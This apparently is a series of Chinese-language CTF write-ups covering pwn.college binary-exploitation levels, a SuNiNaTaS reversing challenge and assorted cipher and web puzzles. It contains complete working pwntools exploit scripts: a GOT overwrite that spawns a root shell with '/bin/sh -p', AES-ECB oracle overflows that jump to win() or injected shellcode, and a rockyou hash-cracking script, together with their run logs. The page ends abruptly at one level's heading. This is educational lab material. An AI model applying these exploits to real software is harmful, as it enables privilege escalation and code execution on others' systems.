│  ││││╎│   ; CODE XREF from sym.challenge @ 0x1431(x)
│  │││└───> 0x00001441      488d05402c..   lea rax, obj.nothing        ; 0x4088 ; "\n"
│  │││ ╎│   0x00001448      488945e0       mov qword [src], rax
│  │││ ╎│   ; CODE XREFS from sym.challenge @ 0x13c7(x), 0x1404(x), 0x143f(x)
│  └└└────> 0x0000144c      8b45dc         mov eax, dword [var_24h]
│      ╎│   0x0000144f      89c6           mov esi, eax
│      ╎│   0x00001451      488d3dcb0b..   lea rdi, str._d:            ; 0x2023 ; "%d: " ; const char *format
│      ╎│   0x00001458      b800000000     mov eax, 0
│      ╎│   0x0000145d      e8befcffff     call sym.imp.printf         ; int printf(const char *format)
│      ╎│   0x00001462      488d45b0       lea rax, [buf]
│      ╎│   0x00001466      4883c014       add rax, 0x14
│      ╎│   0x0000146a      ba54000000     mov edx, 0x54               ; 'T' ; size_t nbyte
│      ╎│   0x0000146f      4889c6         mov rsi, rax                ; void *buf
│      ╎│   0x00001472      bf00000000     mov edi, 0                  ; int fildes
# buffer overflow
│      ╎│   0x00001477      e8b4fcffff     call sym.imp.read           ; ssize_t read(int fildes, void *buf, size_t nbyte)
│      ╎│   0x0000147c      488d45b0       lea rax, [buf]
│      ╎│   0x00001480      4883c014       add rax, 0x14
│      ╎│   0x00001484      4889c6         mov rsi, rax
│      ╎│   0x00001487      488d3d9a0b..   lea rdi, str.You_entered:__s_n ; 0x2028 ; "You entered: %s\n" ; const char *format
│      ╎│   0x0000148e      b800000000     mov eax, 0
│      ╎│   0x00001493      e888fcffff     call sym.imp.printf         ; int printf(const char *format)
│      ╎│   0x00001498      c645c400       mov byte [var_3ch], 0 # '\x00'
│      ╎│   0x0000149c      488b55e0       mov rdx, qword [src]
│      ╎│   0x000014a0      488b45e8       mov rax, qword [dest]
│      ╎│   0x000014a4      4889d6         mov rsi, rdx                ; const char *src
│      ╎│   0x000014a7      4889c7         mov rdi, rax                ; char *dest
# strcpy
│      ╎│   0x000014aa      e841fcffff     call sym.imp.strcpy         ; char *strcpy(char *dest, const char *src)
│      ╎│   0x000014af      488b45e8       mov rax, qword [dest]
│      ╎│   0x000014b3      4889c6         mov rsi, rax
│      ╎│   0x000014b6      488d3d7c0b..   lea rdi, str.Correct_answer:__s_n ; 0x2039 ; "Correct answer: %s\n" ; const char *format
│      ╎│   0x000014bd      b800000000     mov eax, 0
│      ╎│   0x000014c2      e859fcffff     call sym.imp.printf         ; int printf(const char *format)
│      ╎│   0x000014c7      8b45dc         mov eax, dword [var_24h]
│      ╎│   0x000014ca      83c001         add eax, 1
│      ╎│   0x000014cd      8945dc         mov dword [var_24h], eax
│      ╎│   ; CODE XREF from sym.challenge @ 0x1387(x)
│      ╎└─> 0x000014d0      8b55dc         mov edx, dword [var_24h]
│      ╎    0x000014d3      8b45b0         mov eax, dword [buf]
│      ╎    0x000014d6      39c2           cmp edx, eax
│      └──< 0x000014d8      0f8caefeffff   jl 0x138c
│           0x000014de      90             nop
│           0x000014df      488b7df8       mov rdi, qword [canary]
│           0x000014e3      6448333c25..   xor rdi, qword fs:[0x28]
│       ┌─< 0x000014ec      7405           je 0x14f3
│       │   0x000014ee      e81dfcffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
│       │   ; CODE XREF from sym.challenge @ 0x14ec(x)
│       └─> 0x000014f3      c9             leave
└           0x000014f4      c3             ret
1
2
3
4
5
6
7
8
9
10
hacker@program-security~make-it-fizzbuzz:~$ checksec /challenge/make-it-fizbuzz
[*] '/challenge/make-it-fizbuzz'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO # GOT is writable
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled # can't overwrite return address
    IBT:        Enabled
    Stripped:   No
  1. 泄露 Stack & PIE：利用 FizzBuzz 机制泄露栈指针和程序基址。
  2. 泄露 Libc ：将 src 指向 printf 的 GOT 表，将 dest 指向栈上的安全区（比如 buf）。strcpy 会把 libc 地址复制过来，紧接着的 printf("Correct answer: %s\n", dest) 就会把 libc 地址泄露给终端
  3. 劫持 GOT 表：有了 libc 基址，算出 execve 的真实地址。再次利用 strcpy，把 execve 的地址写进 strcpy 自己的 GOT 表里

汇编代码里调用 strcpy 的传参过程，rsi 和 rdx 都被赋予了 src 的值。

这意味着，如果我们将 dest 指向字符串 "/bin/sh"，将 src 指向一个指针数组 ["/bin/sh", "-p", NULL]：

rdi (可执行文件路径) = "/bin/sh"

rsi (命令行参数 argv) = ["/bin/sh", "-p", NULL]

rdx (环境变量 envp) = ["/bin/sh", "-p", NULL]

最核心的优势：使用 execve 并通过 argv 传入 -p 参数，可以直接让 /bin/sh 保持 SUID 的 Root 权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#!/usr/bin/env python3
from pwn import *

context.arch = "amd64"
context.log_level = "info"

def run_exploit():
    elf = ELF("/challenge/make-it-fizbuzz")
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    p = process(elf.path)

    # 推进到第 5 次循环
    for i in range(6):
        p.recvuntil(f"{i}: ".encode())
        if i < 5:
            p.send(b"A")

    # --- 阶段一：Stack Leak ---
    payload_leak_stack = b"A" * 24 + b"\xff\xff\xff\xff"
    p.send(payload_leak_stack)
    p.recvuntil(b"You entered: " + payload_leak_stack)
    stack_leak = u64(p.recv(6).ljust(8, b"\x00"))
    buf_addr = stack_leak - 0x24

    # --- 阶段二：PIE Leak ---
    p.recvuntil(b"0: ")
    payload_leak_pie = b"A" * 24 + b"\xff\xff\xff\xff"
    p.send(payload_leak_pie)
    p.recvuntil(b"You entered: " + payload_leak_pie)
    pie_leak = u64(p.recv(6).ljust(8, b"\x00"))

    pie_base = pie_leak - 0x4080

    if pie_base < 0x500000000000 or pie_base > 0x600000000000:
        log.warning(f"检测到 Null Byte")
        p.close()
        return False

    elf.address = pie_base
    log.info(f"[+] Stack Leaked! buf address: {hex(buf_addr)}")
    log.info(f"[+] PIE Leaked! base address: {hex(pie_base)}")

    # --- 阶段三：Libc Leak ---
    p.recvuntil(b"0: ")
    printf_got = elf.got['printf']
    dest_safe = buf_addr

    payload_libc = flat({
        0: b"X",
        24: p32(0),
        28: p64(printf_got),
        36: p64(dest_safe)
    })
    p.send(payload_libc)

    p.recvuntil(b"Correct answer: ")
    libc_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
    libc.address = libc_leak - libc.sym['printf']
    log.info(f"[+] Libc Leaked! base address: {hex(libc.address)}")

    # --- 阶段四：覆写 strcpy GOT 为 execve ---
    p.recvuntil(b"1: ")

    execve_addr = libc.sym['execve']
    strcpy_got = elf.got['strcpy']
    # 将 execve 的地址放在 84 字节缓冲区的最后面
    src_execve_ptr = buf_addr + 0x14 + 44

    payload_got = flat({
        0: b"X",
        24: p32(1),
        28: p64(src_execve_ptr),
        36: p64(strcpy_got),
        44: p64(execve_addr)
    })
    p.send(payload_got)

    # --- 阶段五：execve 触发 ---
    # 此时，调用 strcpy 等同于调用 execve。
    p.recvuntil(b"2: ")

    # 我们只有 84 (0x54) 字节的写入空间
    # 把指针控制变量放在中间，把字符串和数组放在尾部
    input_start = buf_addr + 0x14
    binsh_str = input_start + 44
    p_str     = input_start + 52
    argv_arr  = input_start + 60

    payload_execve = flat({
        0: b"X",                # 首字节强制清零
        24: p32(2),
        28: p64(argv_arr),      # src -> 作为 rsi (argv) 和 rdx (envp) 传入 execve
        36: p64(binsh_str),     # dest -> 作为 rdi (path) 传入 execve
        44: b"/bin/sh\x00",
        52: b"-p\x00\x00\x00\x00\x00\x00",
        60: p64(binsh_str),     # argv[0]
        68: p64(p_str),         # argv[1]
        76: p64(0)              # argv[2] (NULL 结尾)
    })
    p.send(payload_execve)

    log.success("Execve payload")
    p.interactive()
    return True

if __name__ == "__main__":
    while not run_exploit():
        pass
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
hacker@program-security~make-it-fizzbuzz:~$ python a.py
[*] '/challenge/make-it-fizbuzz'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
[+] Starting local process '/challenge/make-it-fizbuzz': pid 261
[*] [+] Stack Leaked! buf address: 0x7ffe1475c400
[*] [+] PIE Leaked! base address: 0x5feb4a201000
[*] [+] Libc Leaked! base address: 0x7d053c9a7000
[+] Execve payload triggered! You now have a pure Root Shell. Don't ruin it.
[*] Switching to interactive mode
You entered: Xaaabaaacaaadaaaeaaafaaa\x02
$ cat /flag
pwn.college{*********************************************}
$

Posted on In Disqus:

OSINT II

TIFFANY&Co.

Halloween Day 3 - Python Obfuscation

多层 zlib(base64(reverse())) 混淆，递归解包：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import base64
import re
import zlib

payload_bytes = b""  # <- 第一层 payload

layer = 1
while True:
    try:
        decoded = zlib.decompress(base64.b64decode(payload_bytes[::-1])).decode()
        match = re.search(r"b'([^']+)'|b\"([^\"]+)\"", decoded)
        if match:
            payload_bytes = (match.group(1) or match.group(2)).encode()
            layer += 1
        else:
            print(decoded)
            break
    except Exception:
        print(decoded)
        break

print(f"[*] Layer: {layer}")

最终明文是一个逐字符打印脚本，答案藏在变量里：zieltext = "Die Antwort lautet GRABREDE."

→ GRABREDE

Halloween Day 4 - Scream Cipher

1
ĀA̰Á AÂÃȀÁȂ A̦ÅÄ AȂÁ ĂÅÅẠẢÂA̋ A̮ÅȂ ẢÃ ȦĂÅÅA̱...

Scream Cipher (XKCD) → BLOOD

Halloween Day 5 - Hex Colors

6 个弹孔的红色色值，取高位字节：

1
2
#670000 #650000 #660000 #610000 #680000 #720000
 67      65      66      61      68      72

from hex → gefahr

Halloween Day 6a - Base64

直接 base64 decode → Bein

Halloween Day 6b - Morse Code

... - .. .-. -... → STIRB

Winter Day 1 - View Source

Ctrl+Shift+U 查看源码，答案在被雪覆盖的 <p> 标签中 → snowflake

Winter Day 2 - Base64

QXBlcmxhYXE= → Aperlaaq

Winter Day 4 - Wham! Typos

歌词中混入了 prompt injection 和故意拼写错误，提取异常字母：

原文 应为 异常字母
beby baby e
A wrapped I wrapped A
Nor Now r
sowl soul w
rear year r
mover lover m

→ Earworm

Octopus

A human counts with 10 fingers, an octopus with 8 tentacles. The answer is octopus2471.

2471 (octal) → 1337

Brainfuck?

实际是 JSFuck，Node.js 中 console.log(/* code */) 执行即可。

Host

1
$ curl http://185.26.156.141

响应中 <kbd>aegir.uberspace.de</kbd> 即为答案。

Rockyou

前端 JS 校验 sha256(salt + value)，rockyou 字典爆破：

1
2
3
4
5
6
7
8
9
10
11
from hashlib import sha256

salt = "3NL/usjb4vEg"
target = "9bcf0c8289a97d33021b4790659396d9f8af1085210d2186b8ec38efcdc31472"

with open("/path/to/rockyou.txt") as f:
    for line in f:
        word = line.strip()
        if sha256((salt + word).encode()).hexdigest() == target:
            print(word)
            break

Time Zones

Chameleon 插件修改浏览器时区为 UTC-10。

Free Fall

\[h = \frac{1}{2} g t^2 = \frac{1}{2} \times 9.81 \times 1.43^2\]

Treasure Hunt

  • The largest online encyclopedia → wikipedia
  • Delay to allow data to travel from one point to another → latency
  • A finite, unambiguous set of instructions → algorithm
  • A machine learning model inspired by the human brain's structure → neural network

UTF-5

□ = 0, ■ = 1，5-bit 编码（1=A, 2=B, ...）：

编码 二进制 值 字母
□■■□□ 01100 12 L
□■■■■ 01111 15 O
□□□■■ 00011 3 C
□■□□□ 01000 8 H
□■□■■ 01011 11 K
□□□□■ 00001 1 A
■□□■□ 10010 18 R
■□■□□ 10100 20 T
□□■□■ 00101 5 E

→ LOCHKARTE

Alphabet - Control Characters

ASCII contains an alphabet of uppercase letters and one of lowercase letters. But there is also a third, which is used in this file.

控制字符 = 第 N 个字母，空格保持：

1
2
3
$ xxd a
00000000: 1420 2020 010e 2020 2020 2009 2020 2020  .   ..     .
00000010: 0e14 2020 0c0a                           ..  ..
字节 值 字母
0x14 20 T
0x01 1 A
0x0e 14 N
0x09 9 I
0x0e 14 N
0x14 20 T
0x0c 12 L

T _ _ _ A N _ _ _ _ _ I _ _ _ _ N T _ _ L → control

Honey Morello - Zero-Width Steganography

文本中藏有 zero-width characters（U+200B = 0, U+200C = 1），每行提取后按 5-bit 解码：

1
2
3
4
5
6
7
8
9
for line in text.split("\n"):
    bits = ""
    for ch in line:
        if ch == "\u200b":
            bits += "0"
        elif ch == "\u200c":
            bits += "1"
    if bits and (val := int(bits, 2)):
        print(chr(96 + val), end="")

→ the answer is meme

Mental Arithmetic

15 道限时算术题，JS 自动填充：

1
2
3
4
5
for (let i = 0; i < 15; i++) {
  let task = document.getElementById("task" + i).innerText.replace("=", "").trim();
  document.getElementById("ans" + i).value = eval(task);
}
document.forms[0].submit();

Base4096

Emoji 编解码：https://base4096.infinityfreeapp.com/?i=1

Transposed - Rail Fence Cipher

Rail Fence Cipher decode, key = 4

Posted on In Disqus:

challenges

Game 20

1
reverseme: ELF 32-bit LSB executable, Intel i386, statically linked, not stripped

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
int __cdecl main(int argc, const char **argv, const char **envp)
{
  _BYTE s[30]; // [ebp-2Eh]
  int v5;      // [ebp-34h] BYREF
  unsigned int v7;

  if ( argc > 1 || strcmp(*argv, "./suninatas") )  // 必须重命名为 suninatas
    return 0;
  // 清空所有环境变量
  for ( i = 0; envp[i]; ++i )
    for ( j = 0; j < strlen(envp[i]); ++j )
      envp[i][j] = 0;

  _isoc99_scanf("%30s", s);
  v7 = Base64Decode(s, &v5);
  if ( v7 <= 0xC )  // 解码后最多 12 字节
  {
    memcpy(&input, v5, v7);  // 拷贝到 BSS 段全局变量 input
    if ( auth(v7) == 1 )
      correct();
  }
}

_BOOL4 __cdecl auth(int a1)
{
  _BYTE v2[8]; // [ebp-14h]
  char *s2;    // [ebp-Ch]
  int v4;      // [ebp-8h] BYREF  <-- 关键：距 saved ebp 仅 8 字节

// buffer overflow
  memcpy(&v4, &input, a1);  // 12 字节拷贝：8 字节填满 v4，4 字节溢出覆盖 saved ebp
  s2 = (char *)calc_md5((int)v2, 12);
  return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;
}

void __noreturn correct()
{
  if ( input == 0xDEADBEEF )
    IO_puts("Congratulation! you are good!");
  exit(0);
}

Analysis

限制条件：

  • 文件必须重命名为 suninatas（strcmp(*argv, "./suninatas")）
  • Base64 解码后最多 12 字节，无法直接覆盖 return address（需要 12+4=16 字节）

Stack Pivot

auth 中 v4 位于 [ebp-8h]，memcpy 拷入 12 字节时：

1
2
3
4
[ebp-8h] v4       ← bytes 0-3
[ebp-4h]          ← bytes 4-7
[ebp+0h] saved ebp ← bytes 8-11  (被覆盖！)
[ebp+4h] ret addr  ← 无法触及

虽然无法直接控制 return address，但可以控制 saved ebp，利用 leave; ret 的链式效应实现栈迁移：

  1. auth 的 leave 恢复了被篡改的 ebp 给 main
  2. main 结束时执行 leave（mov esp, ebp; pop ebp）— esp 被迁移到 &input
  3. main 执行 ret — 从 &input + 4 弹出值作为 EIP

Payload 结构

12 字节 = 3 个 DWORD（little-endian）：

Offset 值 作用
0-3 0xDEADBEEF main 的 pop ebp 读取，同时满足 correct() 中 input == 0xDEADBEEF
4-7 &correct (0x0804925f) main 的 ret 弹入 EIP
8-11 &input (0x0811c9ec) 覆盖 auth 的 saved ebp，触发栈迁移

Exploit

获取地址（statically linked，地址固定）：

1
2
3
$ objdump -t ./suninatas | grep -E ' (correct|input)$'
0811c9ec g     O .bss   0000000d input
0804925f g     F .text  00000031 correct

生成 payload：

1
2
python -c "import base64, struct; print(base64.b64encode(struct.pack('<III', 0xDEADBEEF, 0x0804925f, 0x0811c9ec)).decode())"
****************

because

1
memcpy(&input, v5, v7);  // 拷贝到 BSS 段全局变量 input

&input + 0 (前 4 字节): 0xDEADBEEF

&input + 4 (中 4 字节): 0x0804925f (&correct 的绝对地址)

&input + 8 (后 4 字节): 0x0811c9ec (&input 的绝对地址)

1
memcpy(&v4, &input, a1);  // 12 字节拷贝：8 字节填满 v4，4 字节溢出覆盖 saved ebp

[ebp-8] 到 [ebp-5]: 填入 0xDEADBEEF

[ebp-4] 到 [ebp-1]: 填入 0x0804925f

[ebp+0] 到 [ebp+3]: 填入 0x0811c9ec (&input) <-saved ebp

when auth calls leave; ret to return to main

mov esp, ebp: esp = ebp -> &input

pop ebp: esp -> ebp + 4 = &input + 4 and put 0xDEADBEEF into ebp

ret (pop eip): eip -> esp = &input + 4 = 0x0804925f = &correct

at &correct check input == 0xDEADBEEF

1
2
3
4
$ ./suninatas
Authenticate : ****************
hash : d932bf2657c20fd638787756d680c95c
Congratulation! you are good!
776t3l+SBAjsyREI

Posted on In Disqus:

同 easy 版本的 dispatch oracle 和 ECB block-by-block 加密策略，区别在于没有 stack dump 提示，需要手动逆向 offset。

Analysis

1
r2 -A -q -c "pdf @ sym.challenge; pdf @ sym.win" /challenge/vulnerable-overflow

关键溢出点：

1
2
3
4
5
6
; plaintext struct 起始于 s1 = rbp - 0x60
│           0x0040173b      lea rsi, [s1]           ; rbp - 0x60
; message buffer = s1 + 0x10 (跳过 8 字节 header + 8 字节 length)
│           0x0040173f      add rsi, 0x10           ; rbp - 0x50
; buffer overflow: 无长度限制
│           0x00401749      call sym.imp.EVP_DecryptUpdate
  • message buffer 起始于 rbp - 0x50
  • saved rbp 在 rbp + 0x00，saved rip 在 rbp + 0x08
  • offset = 0x50 + 0x08 = 88 bytes

sym.win 地址:

1
2
│           0x004013b6      endbr64
│           0x004013be      lea rdi, str.You_win__Here_is_your_flag:

→ win() = 0x4013b6

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/env python3
from Crypto.Util.Padding import pad
from pwn import *

context.log_level = "info"

# 0x50 (buffer to rbp) + 0x08 (saved rbp) = 88
OFFSET = 88
WIN_ADDR = 0x4013b6


def encrypt_block(block_data):
    p = process(["/challenge/dispatch"], level="error")
    p.send(block_data)
    p.shutdown("send")
    ct = p.recvall()
    p.close()
    return ct[16:32]


def build_payload():
    p_init = process(["/challenge/dispatch"], level="error")
    p_init.send(b"A" * 16)
    p_init.shutdown("send")
    first_block_ct = p_init.recvall()[:16]
    p_init.close()

    raw_payload = b"A" * OFFSET + p64(WIN_ADDR)
    padded_payload = pad(raw_payload, 16)

    final_ct = first_block_ct
    for i in range(0, len(padded_payload), 16):
        final_ct += encrypt_block(padded_payload[i : i + 16])

    log.success(f"Payload length: {len(final_ct)} bytes")
    return final_ct


def exploit():
    payload = build_payload()
    target = process("/challenge/vulnerable-overflow")
    target.send(payload)
    target.shutdown("send")
    print(target.recvall().decode(errors="ignore"))


if __name__ == "__main__":
    exploit()

Posted on In Disqus:

Concepts used: Cryptography + Binary Exploitation

Source

vulnerable-overflow 读取密文，先解密第一个 block 验证 header 和 length，再解密剩余 block 到栈上固定大小的 message[60]。因为 ciphertext_len 没有上限检查，EVP_DecryptUpdate 会直接造成栈溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int challenge(int argc, char **argv, char **envp)
{
    unsigned char key[16];
    struct
    {
        char header[8];
        unsigned long long length;
        char message[60];
    } plaintext = {0};

    // ... key init, read ciphertext from stdin ...

    // verify first block
    EVP_DecryptUpdate(ctx, (char *)&plaintext, &decrypted_len, ciphertext, 16);
    assert(memcmp(plaintext.header, "VERIFIED", 8) == 0);
    assert(plaintext.length <= 16);

    // buffer overflow: no bounds check on ciphertext_len
    EVP_DecryptUpdate(ctx, plaintext.message, &decrypted_len,
                      ciphertext + 16, ciphertext_len - 16);
}

dispatch 是加密 oracle，接受最多 16 字节的 message，拼上 VERIFIED header 后用相同 key 的 AES-ECB 加密输出：

1
2
3
4
5
6
7
8
key = open("/challenge/.key", "rb").read()
cipher = AES.new(key=key, mode=AES.MODE_ECB)

message = sys.stdin.buffer.read1()
assert len(message) <= 16, "Your message is too long!"
plaintext = b"VERIFIED" + struct.pack(b"<Q", len(message)) + message
ciphertext = cipher.encrypt(pad(plaintext, cipher.block_size))
sys.stdout.buffer.write(ciphertext)

Analysis

ECB 模式下每个 16 字节 block 独立加密，相同明文 block 产生相同密文 block。因此可以：

  1. 调用 dispatch 获取合法的第一个 block（包含 VERIFIED header）的密文
  2. 将 payload 按 16 字节分块，逐块调用 dispatch 加密
  3. 拼接密文发送给 vulnerable-overflow，解密后得到我们的任意 payload

从 stack dump 中可以看到：

1
2
3
| 0x00007fff9c9fad20 (rsp+0x0040) | message buffer 开始位置
| ...                              | 120 bytes of 'A' padding
| 0x00007fff9c9fad98 (rsp+0x00b8) | saved return address -> 0x401e96
  • buffer 起始: rsp+0x40，saved rip: rsp+0xb8 → offset = 120 bytes
  • win() 地址: 0x4018f7

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/env python3
from Crypto.Util.Padding import pad
from pwn import *

context.log_level = "info"

OFFSET = 120
WIN_ADDR = 0x4018f7


def encrypt_block(block_data):
    """调用 dispatch 加密单个 16 字节 block，返回对应密文"""
    p = process(["/challenge/dispatch"], level="error")
    p.send(block_data)
    p.shutdown("send")  # 必须发送 EOF，否则 read1() 阻塞
    ct = p.recvall()
    p.close()
    return ct[16:32]  # 跳过第一个 block (VERIFIED header)


def build_payload():
    # 获取合法的第一个 block 密文 (通过 dispatch 加密任意 16 字节 message)
    p_init = process(["/challenge/dispatch"], level="error")
    p_init.send(b"A" * 16)
    p_init.shutdown("send")
    first_block_ct = p_init.recvall()[:16]
    p_init.close()

    raw_payload = b"A" * OFFSET + p64(WIN_ADDR)
    padded_payload = pad(raw_payload, 16)

    # 逐块加密，拼接密文
    final_ct = first_block_ct
    for i in range(0, len(padded_payload), 16):
        final_ct += encrypt_block(padded_payload[i : i + 16])

    log.success(f"Payload length: {len(final_ct)} bytes")
    return final_ct


def exploit():
    payload = build_payload()
    target = process("/challenge/vulnerable-overflow")
    target.send(payload)
    target.shutdown("send")
    print(target.recvall().decode(errors="ignore"))


if __name__ == "__main__":
    exploit()

Posted on In Disqus:

同 easy 版本的 ECB oracle + shellcode 注入，但没有 stack dump，需要手动逆向 offset。

Analysis

1
r2 -A -q -c "pdf @ sym.challenge" /challenge/vulnerable-overflow

关键溢出点：

1
2
3
4
5
6
; plaintext struct 起始于 s1 = rbp - 0x70
│           0x004016d3      lea rsi, [s1]           ; rbp - 0x70
; message buffer = s1 + 0x10 (跳过 header + length)
│           0x004016d7      add rsi, 0x10           ; rbp - 0x60
; buffer overflow
│           0x004016e1      call sym.imp.EVP_DecryptUpdate
  • message buffer: rbp - 0x60
  • saved rip: rbp + 0x08
  • offset = 0x60 + 0x08 = 104 bytes (与 easy 版本相同)

Exploit 完全相同，只需对应修改 buffer 地址即可。实际上因为栈地址固定且相同，exploit 代码可以直接复用。

Posted on In Disqus:

与 ECB-to-Win 类似的 ECB oracle + buffer overflow，但没有 win() 函数，需要注入 shellcode 并跳转执行。栈可执行。

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int challenge(int argc, char **argv, char **envp)
{
    unsigned char key[16];
    struct
    {
        char header[8];
        unsigned long long length;
        char message[48];  // 比 win 版本更小
    } plaintext = {0};

    // ... 同样的 ECB 解密流程 ...

    // buffer overflow
    EVP_DecryptUpdate(ctx, plaintext.message, &decrypted_len,
                      ciphertext + 16, ciphertext_len - 16);

    // 会打印反汇编后的 shellcode 和栈布局
    print_disassembly(plaintext.message, decrypted_len);
}

Analysis

从 stack dump 中读取关键信息：

1
2
3
| 0x7fffffffec90 (rsp+0x0040) | message buffer 开始 (shellcode 放这里)
| ...                          | 104 bytes to saved rip
| 0x7fffffffecf8 (rsp+0x00a8) | saved return address
  • buffer 起始: 0x7fffffffec90
  • offset = 0xa8 - 0x40 = 104 bytes
  • 栈地址固定（ASLR 未随机化栈），直接将返回地址覆盖为 buffer 起始地址

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/env python3
from Crypto.Util.Padding import pad
from pwn import *

context.update(arch="amd64", os="linux")
context.log_level = "info"

OFFSET = 104
BUFFER_ADDR = 0x7fffffffec90


def encrypt_block(block_data):
    p = process(["/challenge/dispatch"], level="error")
    p.send(block_data)
    p.shutdown("send")
    ct = p.recvall()
    p.close()
    return ct[16:32]


def build_payload():
    shellcode = asm(shellcraft.cat("/flag"))

    # shellcode + nop sled + return address
    raw_payload = shellcode.ljust(OFFSET, b"\x90") + p64(BUFFER_ADDR)

    # 获取合法的第一个 block 密文
    p_init = process(["/challenge/dispatch"], level="error")
    p_init.send(b"\x90" * 16)
    p_init.shutdown("send")
    first_block_ct = p_init.recvall()[:16]
    p_init.close()

    padded_payload = pad(raw_payload, 16)
    final_ct = first_block_ct
    for i in range(0, len(padded_payload), 16):
        final_ct += encrypt_block(padded_payload[i : i + 16])

    log.success(f"Payload length: {len(final_ct)} bytes")
    return final_ct


def exploit():
    payload = build_payload()
    target = process("/challenge/vulnerable-overflow", env={})
    target.send(payload)
    target.shutdown("send")
    print(target.recvall().decode(errors="ignore"))


if __name__ == "__main__":
    exploit()

Posted on In Disqus:

Your First Overflow (easy)

Buffer 20 bytes, win variable 20 bytes after buffer start. Overflow to set win variable non-zero.

1
2
3
4
5
6
7
hacker@binary-exploitation~your-first-overflow-easy:~$ /challenge/binary-exploitation-first-overflow-w
# buffer at rsp+0x0030, win variable at rsp+0x0040 (20 bytes after buffer)
# send 21+ bytes to overflow into win variable
Send your payload (up to 4096 bytes)!
aaaaaaaaaaaaaaaaaaaaa
You win! Here is your flag:
pwn.college{*******************************************}

Your First Overflow (hard)

1
2
3
4
5
6
7
8
9
10
int challenge(int argc, char **argv, char **envp)
{
    struct {
        char input[96];
        int win_variable;
    } data = {0};
    // ...
    int received = read(0, &data.input, (unsigned long) size);
    if (data.win_variable) { win(); }
}

need input 96 bytes + 1 byte to overflow win_variable.

1
2
3
4
5
from pwn import *

p = process('/challenge/binary-exploitation-first-overflow')
p.sendline(b'a' * 96 + b'a')
p.interactive()

pwn.college{*******************************************}

Precision (easy)

Buffer 51 bytes, win variable 52 bytes after buffer. Lose variable 56 bytes after buffer -- must not overwrite it.

Send exactly 53 bytes (52 padding + 1 to set win, stop before lose).

1
2
3
4
5
from pwn import *

p = process('/challenge/binary-exploitation-lose-variable-w')
p.sendline(b'a' * 52 + b'a')
p.interactive()

pwn.college{*******************************************gzW}

Precision (hard)

1
r2 -A -q -c "pdf @ sym.challenge" /challenge/binary-exploitation-lose-variable

Key parts of sym.challenge:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
; buffer init: rep stosq with ecx=0xd (13), clearing 13*8=104 bytes
0x004017a9      488d5580       lea rdx, [format]            ; buffer start
0x004017b2      b90d000000     mov ecx, 0xd                 ; 13 iterations
0x004017ba      f348ab         rep stosq qword [rdi], rax   ; memset(buf, 0, 104)
; ...
; read into buffer at [format]
0x004017fe      488d4580       lea rax, [format]            ; buf = rbp - 0x80
; ...
; lose check
0x0040184a      8b45e8         mov eax, dword [var_18h]     ; lose @ [rbp - 0x18]
0x0040184d      85c0           test eax, eax
; win check
0x00401867      8b45e4         mov eax, dword [var_1ch]     ; win @ [rbp - 0x1c]
0x0040186a      85c0           test eax, eax
  • var_1ch -> [rbp - 0x1c]，h 代表 Hex。
  • var_18h -> [rbp - 0x18]。

Win 变量 [rbp - 0x1c]，Lose 变量 [rbp - 0x18]。

Buffer init 用 rep stosq 做 memset(buffer, 0, size)：

  • stosq: 把 rax (0) 写入 rdi 指向的地址，每次 8 bytes。
  • rep 配合 ecx = 0xd (13)，循环 13 次。
  • 13 * 8 = 104 bytes。

已知 Lose 变量位于 [rbp - 0x18]。Buffer 起点位置 = Lose 变量往上推 104 字节。

\(0x18 + 104\) (即 \(0x68\)) = \(0x80\)

Buffer 起点 [rbp - 0x80]，到 [rbp - 0x1c] = 100 bytes，接下来 4 bytes 是 Win 变量。

1
2
3
4
5
from pwn import *

p = process('/challenge/binary-exploitation-lose-variable')
p.sendline(b'a' * 100 + b'a')
p.interactive()

pwn.college{*******************************************gzW}

Variable Control (easy)

Buffer 29 bytes, win variable 32 bytes after buffer (must set to 0x5a71653b). Lose variable 36 bytes after buffer.

1
2
3
4
5
6
7
from pwn import *

p = process('/challenge/binary-exploitation-var-control-w')
padding = b'A' * 32
win_val = p32(0x5a71653b)
p.send(padding + win_val)
p.interactive()

pwn.college{*******************************************W}

Variable Control (hard)

1
